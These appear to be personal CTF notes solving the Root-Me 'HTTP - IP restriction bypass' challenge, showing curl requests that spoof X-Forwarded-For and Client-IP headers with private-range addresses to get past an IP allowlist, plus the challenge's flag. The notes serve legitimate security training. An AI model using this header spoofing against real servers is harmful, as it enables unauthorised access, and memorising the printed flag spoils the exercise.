ctf-notes/web-server/http-ip-restriction-bypass/notes.org

• HTTP - IP restriction bypass

HTTP - IP restriction bypass

Challenge: https://www.root-me.org/de/Herausforderungen/Web-Server/HTTP-IP-restriction-bypass Description: Nur lokale Benutzer können auf die Seite zugreifen

Aufgabe

Liebe Kollegen,

Wir verwalten jetzt die Verbindungen zum Intranet über private IP-Adressen, so dass es nicht mehr notwendig ist, sich mit einem Benutzernamen/Passwort anzumelden, wenn Sie bereits mit dem internen Firmennetz verbunden sind.

Herzliche Grüße,

Der Netzverwalter

---

Challenge Website: http://challenge01.root-me.org/web-serveur/ch68/

Analyse

• Initial request:

  • `curl -i "http://challenge01.root-me.org/web-serveur/ch68/"`
  • Server responds with login page and message: `Your IP ::ffff:<public-ip> do not belong to the LAN.`

• Header tests (IP spoofing candidates):

  • `X-Forwarded-For: 127.0.0.1` -> IP shown as `127.0.0.1`, still rejected.
  • `Client-IP: 127.0.0.1` -> IP shown as `127.0.0.1`, still rejected.
  • `X-Client-IP: 127.0.0.1` -> ignored by app.

• Working bypass:

  • `X-Forwarded-For: 192.168.1.10` (also works with `10.0.0.42`)
  • `Client-IP: 192.168.1.10` also works.
  • App trusts spoofable headers and only checks if IP is in private/LAN ranges.

Exploit command

curl -i -H "X-Forwarded-For: 192.168.1.10" "http://challenge01.root-me.org/web-serveur/ch68/"

Flag

• `Ip_$po0Fing`